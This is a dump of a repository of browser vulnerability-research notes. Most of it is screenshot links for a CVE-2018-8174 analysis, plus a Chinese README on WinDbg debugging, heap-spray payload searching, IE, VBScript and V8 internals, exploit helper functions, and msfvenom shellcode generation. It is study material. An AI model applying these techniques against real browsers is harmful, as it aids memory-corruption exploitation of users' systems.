https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817420.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817421.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817421.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817422.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817422.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817423.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817423.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817424.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817424.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817425.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817425.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817426.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817426.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817427.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817427.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817428.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817428.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-817429.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-817429.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81743.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81743.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81744.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81744.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81745.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81745.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81746.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81746.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81747.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81747.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81748.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81748.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/CVE-2018-81749.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/CVE-2018-81749.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR0.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR1.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR10.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR11.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR12.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR2.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR3.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR4.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR5.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR6.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR7.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassALSR9.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP0.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP1.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP2.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP3.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP4.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP5.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP6.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP7.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP8.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2018-8174/[VulnerabilityExploit]BypassDEP9.png -------------------------------------------------------------------------------- /BrowserSecurity/README.md: -------------------------------------------------------------------------------- 1 | # 常用Windbg 命令 2 | * bu vbscript!VbsIsEmpty ".printf \"VbsIsEmpty Output:\\n\"; .if(wo(poi(esp+c))== 8) {du poi((poi(esp+c)+8))} .else {dd poi(esp+c)}" 3 | * bu vbscript!CScriptRuntime::RunNoEH "!py C:\\tools\\kl_vbs_disasm_windbg.py" 4 | * bu jscript9!Js::Math::Atan ".printf \"DEBUG: %mu\\n\", poi(poi(esp+10)+c);g" 5 | * bu jscript9!Js::Math::Atan2 ".printf \"DEBUG: %mu\\n\", poi(poi(esp+14)+c);" 6 | * Flash调试， js 帮助函数 7 | ``` 8 | 17 | ``` 18 | 19 | * df xxx L1 20 | * dD xxx L1 21 | * !address addr 22 | * !heap -p -a addr 23 | * !heap -flt s 7ffe0 查看大小为7ffe0的内存，在堆喷的时候可以方便的找到payload所在的地址 24 | * s -d 0 L?80000000 fffffffe 5570000 41414141 00000000 (64位寻址空间0x000'00000000 至 0x7FF'FFFFFFFF) 25 | * s -a 0 L?80000000 "tags" 26 | * s -u 27 | 28 | 29 | 30 | # IE JavaScript 31 | ## DOM(IE10) 32 | - https://www.jianshu.com/p/3d8a4ba86bbe 33 | - https://www.jianshu.com/p/8cd37ffe9a98 34 | - https://www.cnblogs.com/Ox9A82/p/5782425.html 35 | 36 | 37 | ``` 38 | 39 | 40 | 43 | 44 | 45 | 46 | ``` 47 | 48 | ``` 49 | bu MSHTML!CMarkup::CMarkup "gu; .printf \"New CMarkup Object: %p\\n\",eax ;" 50 | bu MSHTML!CMarkup::~CMarkup ".printf \"Release CMarkup Object: %p\\n\",ecx; gu;" 51 | bu MSHTML!CreateElement+0x64 "ln eax; gu; .printf \"Element Address: %p\\n\",poi(ebp-4); " 52 | ``` 53 | 54 | 可以看到Dom节点的建立过程，每个tag对应一个Element对象，而CMarkup相当于一个容器，管理着它负责的这个Dom流 55 | 56 | ``` 57 | 0:018> g 58 | New CMarkup Object: 0b4bccc0 59 | eax=0b4bccc0 ebx=04acbe68 ecx=0b212fe8 edx=01e2f2ec esi=0b4bccc0 edi=070a0fc0 60 | eip=6afe382b esp=04acbcc0 ebp=04acbe48 iopl=0 nv up ei pl zr na pe nc 61 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 62 | MSHTML!CDoc::CreateMarkupFromInfo+0x192: 63 | 6afe382b 8bd8 mov ebx,eax 64 | 0:007> g 65 | (6afe98ec) MSHTML!CHtmlElement::CreateElement | (6afe99c0) MSHTML!CHtmlElement::`vftable' 66 | Exact matches: 67 | MSHTML!CHtmlElement::CreateElement = 68 | Element Address: 0bc1ffc8 69 | eax=00000000 ebx=0bb33f00 ecx=0bb33f00 edx=04acc150 esi=0bb33f00 edi=0bd14cf8 70 | eip=6b032b29 esp=04acc1a4 ebp=04acc1bc iopl=0 nv up ei pl zr na pe nc 71 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 72 | MSHTML!CHtml5TreeConstructor::InsertAnHTMLElement+0x48: 73 | 6b032b29 8b75fc mov esi,dword ptr [ebp-4] ss:0023:04acc1b8=0bc1ffc8 74 | 0:007> g 75 | (6b1b497b) MSHTML!CHeadElement::CreateElement | (6b1b4a40) MSHTML!CHeadElement::`vftable' 76 | Exact matches: 77 | MSHTML!CHeadElement::CreateElement = 78 | Element Address: 0bd2bfc8 79 | eax=00000000 ebx=0bd14d60 ecx=00000036 edx=6af96e25 esi=0bd14d60 edi=0bd14cf8 80 | eip=6b032b29 esp=04acc0d8 ebp=04acc0f0 iopl=0 nv up ei pl zr na pe nc 81 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 82 | MSHTML!CHtml5TreeConstructor::InsertAnHTMLElement+0x48: 83 | 6b032b29 8b75fc mov esi,dword ptr [ebp-4] ss:0023:04acc0ec=0bd2bfc8 84 | 0:007> g 85 | (6b1b423d) MSHTML!CBodyElement::CreateElement | (6b1b4320) MSHTML!CBodyElement::`vftable' 86 | Exact matches: 87 | MSHTML!CBodyElement::CreateElement = 88 | Element Address: 0bd2ffc0 89 | eax=00000000 ebx=0bb33f28 ecx=00000012 edx=6af96e25 esi=0bd14da8 edi=0bd14cf8 90 | eip=6b032b29 esp=04acc1a8 ebp=04acc1c0 iopl=0 nv up ei pl zr na pe nc 91 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 92 | MSHTML!CHtml5TreeConstructor::InsertAnHTMLElement+0x48: 93 | 6b032b29 8b75fc mov esi,dword ptr [ebp-4] ss:0023:04acc1bc=0bd2ffc0 94 | 0:007> g 95 | (6b1dcc3d) MSHTML!CScriptElement::CreateElement | (6b1dccb0) MSHTML!CScriptElement::`vftable' 96 | Exact matches: 97 | MSHTML!CScriptElement::CreateElement = 98 | Element Address: 0bd35f40 99 | eax=00000000 ebx=0bb33f50 ecx=00000065 edx=6af96e25 esi=0bd14d78 edi=0bd14cf8 100 | eip=6b032b29 esp=04acc158 ebp=04acc170 iopl=0 nv up ei pl zr na pe nc 101 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 102 | MSHTML!CHtml5TreeConstructor::InsertAnHTMLElement+0x48: 103 | 6b032b29 8b75fc mov esi,dword ptr [ebp-4] ss:0023:04acc16c=0bd35f40 104 | 105 | ``` 106 | 107 | CXXXElement 108 | 109 | ![](README/InternetExplorer0.png) 110 | 111 | CTreeNode和CTreePos 112 | 113 | CTreePos在逻辑上代表着一个 Element 对应的 tag 的头标签和尾标签, DOM 流即是这些 CTreePos 对象链接而成的双向链表。 114 | 115 | ![](README/InternetExplorer1.png) 116 | 117 | 118 | # VBScript 119 | ## VarType 120 | |Constant|Value|Description| 121 | | :------: | :------: | :------: | 122 | |vbEmpty|0|Empty (uninitialized)| 123 | |vbNull|1|Null (no valid data)| 124 | |vbInteger|2|Integer| 125 | |vbLong|3|Long integer| 126 | |vbSingle|4|Single-precision floating-point number| 127 | |vbDouble|5|Double-precision floating-point number| 128 | |vbCurrency|6|Currency value| 129 | |vbDate|7|Date value| 130 | |vbString|8|String| 131 | |vbObject|9|Object| 132 | |vbError |10|Error value| 133 | |vbBoolean|11|Boolean value| 134 | |vbVariant|12|Variant (used only with arrays of variants)| 135 | |vbDataObject|13|A data access object| 136 | |vbDecimal|14|Decimal value| 137 | |vbByte|17|Byte value| 138 | |vbUserDefinedType|36|Variants that contain user-defined types| 139 | |VT_FUNC|76（0x4c）| 140 | |vbArray|0x2000|Array| 141 | |VT_BYREF|0x4000| 142 | |VT_RESERVED|0x8000| 143 | 144 | 145 | ## VBScriptClass 146 | ``` 147 | 168 | ``` 169 | 170 | ![](README/VbscriptBasics0.png) 171 | 172 | 调试过程如下： 173 | 174 | ![](README/VbscriptBasics2.png) 175 | ![](README/VbscriptBasics3.png) 176 | ![](README/VbscriptBasics4.png) 177 | 178 | 179 | # Adobe Flash 180 | 181 | ![](README/InternetExplorer4.png) 182 | 183 | ![](README/InternetExplorer2.png) 184 | 185 | 186 | # V8 187 | 188 | ## 速查 189 | 1. D8 参数 190 | * https://github.com/hilongjw/v8-RuntimeFunctions-list 191 | * https://github.com/v8/v8/blob/master/src/runtime/runtime.h 192 | * https://gist.github.com/kevincennis/0cd2138c78a07412ef21 (D8用法) 193 | 194 | ``` 195 | --allow-natives-syntax 196 | 197 | --trace-opt 198 | --trace-deopt 199 | --trace-opt-verbose 200 | 201 | --code-comments 202 | --print-opt-code 203 | --print_unopt_code 204 | --trace-elements-transitions 205 | 206 | %DebugPrint 207 | %OptimizeFunctionOnNextCall 208 | 209 | ``` 210 | 211 | 2. 断点 212 | ``` 213 | // %DebugPrint 可以打印出变量信息，包括地址、结构； 214 | // bu v8_libbase!v8::base::ieee754::atan 下断点，可以停下来 215 | // bu v8_libbase!v8::base::ieee754::sin 似乎sin比atan稳定 216 | var a = [0xdeadbee, 0xdeadbee, 0xdeadbee]; 217 | %DebugPrint(a); 218 | Math.atan(1); 219 | Math.sin(1); 220 | 221 | ``` 222 | 3. Build V8 223 | * https://medium.com/dailyjs/how-to-build-v8-on-windows-and-not-go-mad-6347c69aacd4 224 | * http://eternalsakura13.com/2018/06/26/v8_environment/ 225 | * http://blog.gclxry.com/use-depot_tools-to-manage-chromium-source/ (介绍depot_tools) 226 | 227 | ``` 228 | cd ~/v8/v8 229 | git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 230 | gclient sync 231 | tools/dev/v8gen.py x64.debug 232 | ninja -C out.gn/x64.debug 233 | ``` 234 | *** print-opt-code之类的，release版本D8 shell是不支持的 *** 235 | 236 | *** print-bytecode也得在支持Ignition的V8里使用啊，之前都不生成bytecode啊。。。似乎Chrome59才支持的 *** 237 | 238 | 4. [What Version of V8 My Chromium Browser Is Using ?](http://erossignon.github.io/blog/2014/08/22/how-to-find-the-version-of-the-v8-my-chromium-browser-is-using/) 239 | 240 | ``` 241 | chrome://version/ 242 | http://src.chromium.org/viewvc/chrome/releases/ 243 | ``` 244 | 245 | 5. Metasploit 生成payload 246 | ``` 247 | msfvenom -p windows/exec cmd=calc.exe -fc 248 | msfvenom -p windows/x64/exec cmd=calc.exe -fc 249 | ``` 250 | 251 | 252 | 253 | 254 | 255 | ## 工具函数 256 | 257 | ``` 258 | // arraybuffer to string 259 | function ab2str(buf) { 260 | return String.fromCharCode.apply(null, new Uint16Array(buf)); 261 | } 262 | 263 | // string to arraybuffer 264 | function str2ab(str) { 265 | var buf = new ArrayBuffer(str.length); // 1 bytes for each char 266 | var bufView = new Uint8Array(buf); 267 | for (var i=0, strLen=str.length; i 实际值 274 | function decode_from_float64(num){ 275 | num1 = num/0x100000000; 276 | num2 = num&0xffffffff; 277 | d = new Uint32Array(2); 278 | d[0] = num2; 279 | d[1] = num1; 280 | f = new Float64Array(d.buffer); 281 | return f[0]; 282 | } 283 | 284 | // 实际值 -> 内存中双字节表示 285 | function encode_to_float64(num){ 286 | f = new Float64Array(1); 287 | f[0] = num; 288 | d = new Uint32Array(f.buffer); 289 | return d[1] * 0x100000000 + d[0]; 290 | } 291 | 292 | ``` 293 | 294 | 295 | ## Object 内存布局 296 | 参考： 297 | http://eternalsakura13.com/2018/05/06/v8/ 298 | 299 | ``` 300 | 301 | 305 | 306 | 307 | ``` 308 | 1. Small Int 309 | 64位： [0x0, 0x7fffffff] 310 | ![](README/V80.png) 311 | ![](README/V81.png) 312 | 313 | 2. HeapNumber (超过Small Int范围的Int、Double) 314 | 首先，数组中存放的是HeapObject指针 315 | 316 | ![](README/V82.png) 317 | 318 | HeapNumber结构 319 | ![](README/V83.png) 320 | 321 | 调试如下： 322 | ![](README/V84.png) 323 | 324 | ![](README/V85.png) 325 | 326 | 3. PropertyCell 327 | 不知道是啥，先记着 328 | 329 | ![](README/V86.png) 330 | 331 | 4. String 332 | ![](README/V87.png) 333 | 334 | ![](README/V88.png) 335 | 336 | 5. Oddball 337 | 没调出来。。。 338 | 339 | 表示特殊值的对象，例如true，false，undefined, null 340 | 341 | ![](README/V89.png) 342 | 343 | 6. JSObject 344 | 345 | 没调出来 346 | 347 | ![](README/V810.png) 348 | 349 | 7. JSFunction 350 | 如果能控制CodeEntry，则控制了EIP 351 | 352 | ![](README/V811.png) 353 | 354 | 355 | 8. JSArray 356 | ![](README/V812.png) 357 | ![](README/V813.png) 358 | 359 | 360 | 9. JSArrayBuffer 361 | ![](README/V816.png) 362 | 363 | ![](README/V815.png) 364 | 365 | ![](README/V814.png) 366 | 367 | 368 | 10 Map 369 | ``` 370 | map{ // 大小 0x2c(X86) 371 | +0x00 map 372 | +0x04 istance_size // byte 373 | +0x05 InObjectProperties_or_ConstructorFunctionIndex //byte 374 | +0x06 unused 375 | +0x07 visitorId //byte 376 | +0x08 instance_type //byte 377 | +0x09 bit_field //byte 378 | +0x0a bit_field2 //byte 379 | +0x0b unused 380 | +0x0c bit_field3 //byte 381 | +0x10 prototype 382 | +0x14 constructor 383 | +0x18 transitor_or_protytypeInfo 384 | +0x1c discriptor 385 | +0x20 CodeCache 386 | +0x24 DependentCode 387 | +0x28 WeakCellCache 388 | } 389 | ``` 390 | 391 | 392 | ## Assembly code 393 | 394 | ``` 395 | var array = [1.1]; 396 | 397 | function f() { 398 | %DebugPrint(array); //调试函数 399 | Math.sin(1); // 调试函数 400 | array[0] = 6.176516726456e-312; 401 | } 402 | 403 | f(); 404 | %OptimizeFunctionOnNextCall(f); 405 | f(); 406 | 407 | >> d8.exe --allow-natives-syntax --code_comments --print_opt_code --print_unopt_code test.js 408 | ``` 409 | 410 | ![](README/V828.png) 411 | 412 | 优化版本： 413 | 414 | ![](README/V829.png) 415 | 416 | # 汇编 417 | 418 | ## CMP与test: 419 | 420 | test逻辑与运算结果为零,就把ZF(零标志)置1 421 | 422 | cmp 算术减法运算结果为零,就把ZF(零标志)置1 423 | 424 | ## 汇编跳转指令 425 | 426 | 标志名|标志 1|标志 0 427 | :------: | :------: | :------: 428 | OF (溢出标志) | OV | NV 429 | DF (方向标志) | UP | DN 430 | IF (中断标志)|DI| EI 431 | SF (符号标志位)|PL| NG 432 | ZF (零标志)|NZ| ZR 433 | AF (辅助进位标志位)|NA| AC 434 | PF (奇偶标志)|PO|PE 435 | CF (进位标志)|NC|CY 436 | 437 | ![](README/Basics0.png) 438 | ![](README/Basics1.png) 439 | ![](README/Basics2.png) 440 | 441 | ## [x86环境下SHORT Relative Jumps](https://thestarman.pcministry.com/asm/2bytejumps.htm) 442 | The first byte of a SHORT Jump is always EB 443 | 444 | The second is a relative offset from 00h to 7Fh for Forward jumps, and from 445 | 80h to FFh for Reverse (or Backward) jumps. 446 | 447 | ![](README/Basics5.png) 448 | 449 | ![](README/Basics6.png) 450 | 451 | ## 寄存器 452 | https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/r--registers- 453 | ``` 454 | 0:000> r xmm0:16ub 455 | 0:000> r xmm1:d 456 | 0:000> rX (Displays the SSE XMM registers) 457 | 0:000> rF (Displays the floating-point registers.) 458 | 459 | 01004af3 8bec mov ebp,esp 460 | 0:000> r. 461 | ebp=0006ffc0 esp=0006ff7c 462 | ``` 463 | ![](README/Basics4.png) 464 | ![](README/Basics3.png) -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics0.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics1.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics2.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics3.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics4.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics5.png -------------------------------------------------------------------------------- /BrowserSecurity/README/Basics6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/Basics6.png -------------------------------------------------------------------------------- /BrowserSecurity/README/InternetExplorer0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/InternetExplorer0.png -------------------------------------------------------------------------------- /BrowserSecurity/README/InternetExplorer1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/InternetExplorer1.png -------------------------------------------------------------------------------- /BrowserSecurity/README/InternetExplorer2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/InternetExplorer2.png -------------------------------------------------------------------------------- /BrowserSecurity/README/InternetExplorer4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/README/InternetExplorer4.png -------------------------------------------------------------------------------- /BrowserSecurity/README/V80.png: -------------------------------------------------------------------------------- 